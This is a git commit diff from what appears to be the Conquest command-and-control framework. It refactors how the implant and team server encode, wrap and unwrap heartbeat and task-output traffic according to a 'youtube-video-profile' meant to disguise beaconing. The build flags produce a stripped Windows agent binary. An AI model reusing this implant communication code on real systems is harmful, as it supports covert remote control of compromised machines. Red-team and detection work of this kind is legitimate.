Removed redundant code in data transformation implementation.
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
# Conquest default configuration file
|
||||
# Conquest youtube video profile
|
||||
name = "youtube-video-profile"
|
||||
|
||||
# Important file paths and locations
|
||||
@@ -5,16 +5,10 @@ import ../../common/[types, utils, profile]
|
||||
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
|
||||
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-get.user-agent")))
|
||||
var heartbeatString: string
|
||||
|
||||
# Apply data transformation to the heartbeat bytes
|
||||
case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = protect("none"))
|
||||
of protect("base64"):
|
||||
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
|
||||
of protect("hex"):
|
||||
heartbeatString = Bytes.toString(heartbeat).toHex().toLowerAscii()
|
||||
of protect("none"):
|
||||
heartbeatString = Bytes.toString(heartbeat)
|
||||
|
||||
# Apply data transformation
|
||||
let payload = ctx.profile.applyDataTransformation(protect("http-get.agent.heartbeat"), heartbeat)
|
||||
var body: string = ""
|
||||
|
||||
# Define request headers, as defined in profile
|
||||
for header, value in ctx.profile.getTable(protect("http-get.agent.headers")):
|
||||
@@ -25,12 +19,6 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
if endpoint[0] == '/':
|
||||
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
|
||||
|
||||
let
|
||||
prefix = ctx.profile.getString(protect("http-get.agent.heartbeat.prefix"))
|
||||
suffix = ctx.profile.getString(protect("http-get.agent.heartbeat.suffix"))
|
||||
payload = prefix & heartbeatString & suffix
|
||||
var body = ""
|
||||
|
||||
# Add heartbeat packet to the request
|
||||
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
|
||||
of protect("header"):
|
||||
@@ -63,17 +51,8 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
if responseBody.len() <= 0:
|
||||
return ""
|
||||
|
||||
# In case that tasks are found, apply data transformation to server's response body to get thr raw data
|
||||
let
|
||||
prefix = ctx.profile.getString(protect("http-get.server.output.prefix"))
|
||||
suffix = ctx.profile.getString(protect("http-get.server.output.suffix"))
|
||||
encResponse = responseBody[len(prefix) ..^ len(suffix) + 1]
|
||||
|
||||
case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = protect("none")):
|
||||
of protect("base64"):
|
||||
return decode(encResponse)
|
||||
of protect("none"):
|
||||
return encResponse
|
||||
# Reverse data transformation
|
||||
return Bytes.toString(ctx.profile.reverseDataTransformation(protect("http-get.server.output"), responseBody))
|
||||
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
@@ -100,21 +79,8 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
||||
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST")))
|
||||
|
||||
# Apply data transformation
|
||||
var output: string
|
||||
case ctx.profile.getString(protect("http-post.agent.output.encoding.type"), default = protect("none"))
|
||||
of protect("base64"):
|
||||
output = encode(data, safe = ctx.profile.getBool(protect("http-post.agent.output.encoding.url-safe"))).replace("=", "")
|
||||
of protect("hex"):
|
||||
output = Bytes.toString(data).toHex().toLowerAscii()
|
||||
of protect("none"):
|
||||
output = Bytes.toString(data)
|
||||
|
||||
# Append/prepend strings
|
||||
let
|
||||
prefix = ctx.profile.getString(protect("http-post.agent.output.prefix"))
|
||||
suffix = ctx.profile.getString(protect("http-post.agent.output.suffix"))
|
||||
payload = prefix & output & suffix
|
||||
var body: string
|
||||
let payload = ctx.profile.applyDataTransformation(protect("http-post.agent.output"), data)
|
||||
var body: string = ""
|
||||
|
||||
# Add task result to the request
|
||||
case ctx.profile.getString(protect("http-post.agent.output.placement.type")):
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
--opt:size
|
||||
--l:"-Wl,-s"
|
||||
# --l:"-Wl,-subsystem,windows" # Prevent console window
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-d:MODULES="511"
|
||||
-d:VERBOSE="false"
|
||||
-d:VERBOSE="true"
|
||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||
@@ -1,6 +1,6 @@
|
||||
import parsetoml, strutils, sequtils, random
|
||||
import parsetoml, strutils, sequtils, random, base64
|
||||
|
||||
import ./types
|
||||
import ./[types, utils]
|
||||
|
||||
proc findKey(profile: Profile, path: string): TomlValueRef =
|
||||
let keys = path.split(".")
|
||||
@@ -74,3 +74,37 @@ proc getArray*(profile: Profile, path: string): seq[TomlValueRef] =
|
||||
if key == nil:
|
||||
return @[]
|
||||
return key.getElems()
|
||||
|
||||
proc applyDataTransformation*(profile: Profile, path: string, data: seq[byte]): string =
|
||||
var dataString: string
|
||||
|
||||
# 1. Encoding
|
||||
case profile.getString(path & protect(".encoding.type"), default = protect("none"))
|
||||
of protect("base64"):
|
||||
dataString = encode(data, safe = profile.getBool(path & protect(".encoding.url-safe"))).replace("=", "")
|
||||
of protect("hex"):
|
||||
dataString = Bytes.toString(data).toHex().toLowerAscii()
|
||||
of protect("none"):
|
||||
dataString = Bytes.toString(data)
|
||||
|
||||
# 2. Add prefix & suffix
|
||||
let prefix = profile.getString(path & protect(".prefix"))
|
||||
let suffix = profile.getString(path & protect(".suffix"))
|
||||
|
||||
return prefix & dataString & suffix
|
||||
|
||||
proc reverseDataTransformation*(profile: Profile, path: string, data: string): seq[byte] =
|
||||
# 1. Remove prefix & suffix
|
||||
let
|
||||
prefix = profile.getString(path & protect(".prefix"))
|
||||
suffix = profile.getString(path & protect(".suffix"))
|
||||
dataString = data[len(prefix) ..^ len(suffix) + 1]
|
||||
|
||||
# 2. Decoding
|
||||
case profile.getString(path & protect(".encoding.type"), default = protect("none")):
|
||||
of protect("base64"):
|
||||
result = string.toBytes(decode(dataString))
|
||||
of protect("hex"):
|
||||
result = string.toBytes(parseHexStr(dataString))
|
||||
of protect("none"):
|
||||
result = string.toBytes(dataString)
|
||||
|
||||
@@ -35,7 +35,6 @@ proc httpGet*(request: Request) =
|
||||
{.cast(gcsafe).}:
|
||||
|
||||
# Check heartbeat metadata placement
|
||||
var heartbeat: seq[byte]
|
||||
var heartbeatString: string
|
||||
|
||||
case cq.profile.getString("http-get.agent.heartbeat.placement.type"):
|
||||
@@ -58,19 +57,8 @@ proc httpGet*(request: Request) =
|
||||
|
||||
else: discard
|
||||
|
||||
# Retrieve and apply data transformation to get raw heartbeat packet
|
||||
let
|
||||
prefix = cq.profile.getString("http-get.agent.heartbeat.prefix")
|
||||
suffix = cq.profile.getString("http-get.agent.heartbeat.suffix")
|
||||
encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1]
|
||||
|
||||
case cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none"):
|
||||
of "base64":
|
||||
heartbeat = string.toBytes(decode(encHeartbeat))
|
||||
of "hex":
|
||||
heartbeat = string.toBytes(parseHexStr(encHeartbeat))
|
||||
of "none":
|
||||
heartbeat = string.toBytes(encHeartbeat)
|
||||
# Reverse data transformation to get raw heartbeat packet
|
||||
let heartbeat = cq.profile.reverseDataTransformation("http-get.agent.heartbeat", heartbeatString)
|
||||
|
||||
try:
|
||||
var responseBytes: seq[byte]
|
||||
@@ -89,27 +77,18 @@ proc httpGet*(request: Request) =
|
||||
responseBytes.add(task)
|
||||
|
||||
# Apply data transformation to the response
|
||||
var response: string
|
||||
case cq.profile.getString("http-get.server.output.encoding.type", default = "none"):
|
||||
of "none":
|
||||
response = Bytes.toString(responseBytes)
|
||||
of "base64":
|
||||
response = encode(responseBytes, safe = cq.profile.getBool("http-get.server.output.encoding.url-safe"))
|
||||
else: discard
|
||||
|
||||
let prefix = cq.profile.getString("http-get.server.output.prefix")
|
||||
let suffix = cq.profile.getString("http-get.server.output.suffix")
|
||||
let payload = cq.profile.applyDataTransformation("http-get.server.output", responseBytes)
|
||||
|
||||
# Add headers, as defined in the team server profile
|
||||
var headers: HttpHeaders
|
||||
for header, value in cq.profile.getTable("http-get.server.headers"):
|
||||
headers.add((header, value.getStringValue()))
|
||||
|
||||
request.respond(200, headers = headers, body = prefix & response & suffix)
|
||||
request.respond(200, headers = headers, body = payload)
|
||||
|
||||
# Notify operator that agent collected tasks
|
||||
cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"{$response.len} bytes sent.")
|
||||
cq.info(fmt"{$response.len} bytes sent.")
|
||||
cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"{$responseBytes.len} bytes sent.")
|
||||
cq.info(fmt"{$responseBytes.len} bytes sent.")
|
||||
|
||||
except CatchableError as err:
|
||||
request.respond(404, body = "")
|
||||
@@ -124,7 +103,6 @@ proc httpPost*(request: Request) =
|
||||
try:
|
||||
# Retrieve data from the request
|
||||
var dataString: string
|
||||
var data: seq[byte]
|
||||
|
||||
case cq.profile.getString("http-post.agent.output.placement.type"):
|
||||
of "header":
|
||||
@@ -146,19 +124,8 @@ proc httpPost*(request: Request) =
|
||||
|
||||
else: discard
|
||||
|
||||
# Retrieve and reverse data transformation
|
||||
let
|
||||
prefix = cq.profile.getString("http-post.agent.output.prefix")
|
||||
suffix = cq.profile.getString("http-post.agent.output.suffix")
|
||||
encData = dataString[len(prefix) ..^ len(suffix) + 1]
|
||||
|
||||
case cq.profile.getString("http-post.agent.output.encoding.type", default = "none"):
|
||||
of "base64":
|
||||
data = string.toBytes(decode(encData))
|
||||
of "hex":
|
||||
data = string.toBytes(parseHexStr(encData))
|
||||
of "none":
|
||||
data = string.toBytes(encData)
|
||||
# Reverse data transformation
|
||||
let data = cq.profile.reverseDataTransformation("http-post.agent.output", dataString)
|
||||
|
||||
# Add response headers, as defined in team server profile
|
||||
var headers: HttpHeaders
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import times, json, base64, parsetoml, strformat, pixie
|
||||
import times, json, base64, parsetoml, strformat
|
||||
import stb_image/write as stbiw
|
||||
import ./logger
|
||||
import ../../common/[types, utils, event]
|
||||
|
||||
Reference in New Issue
Block a user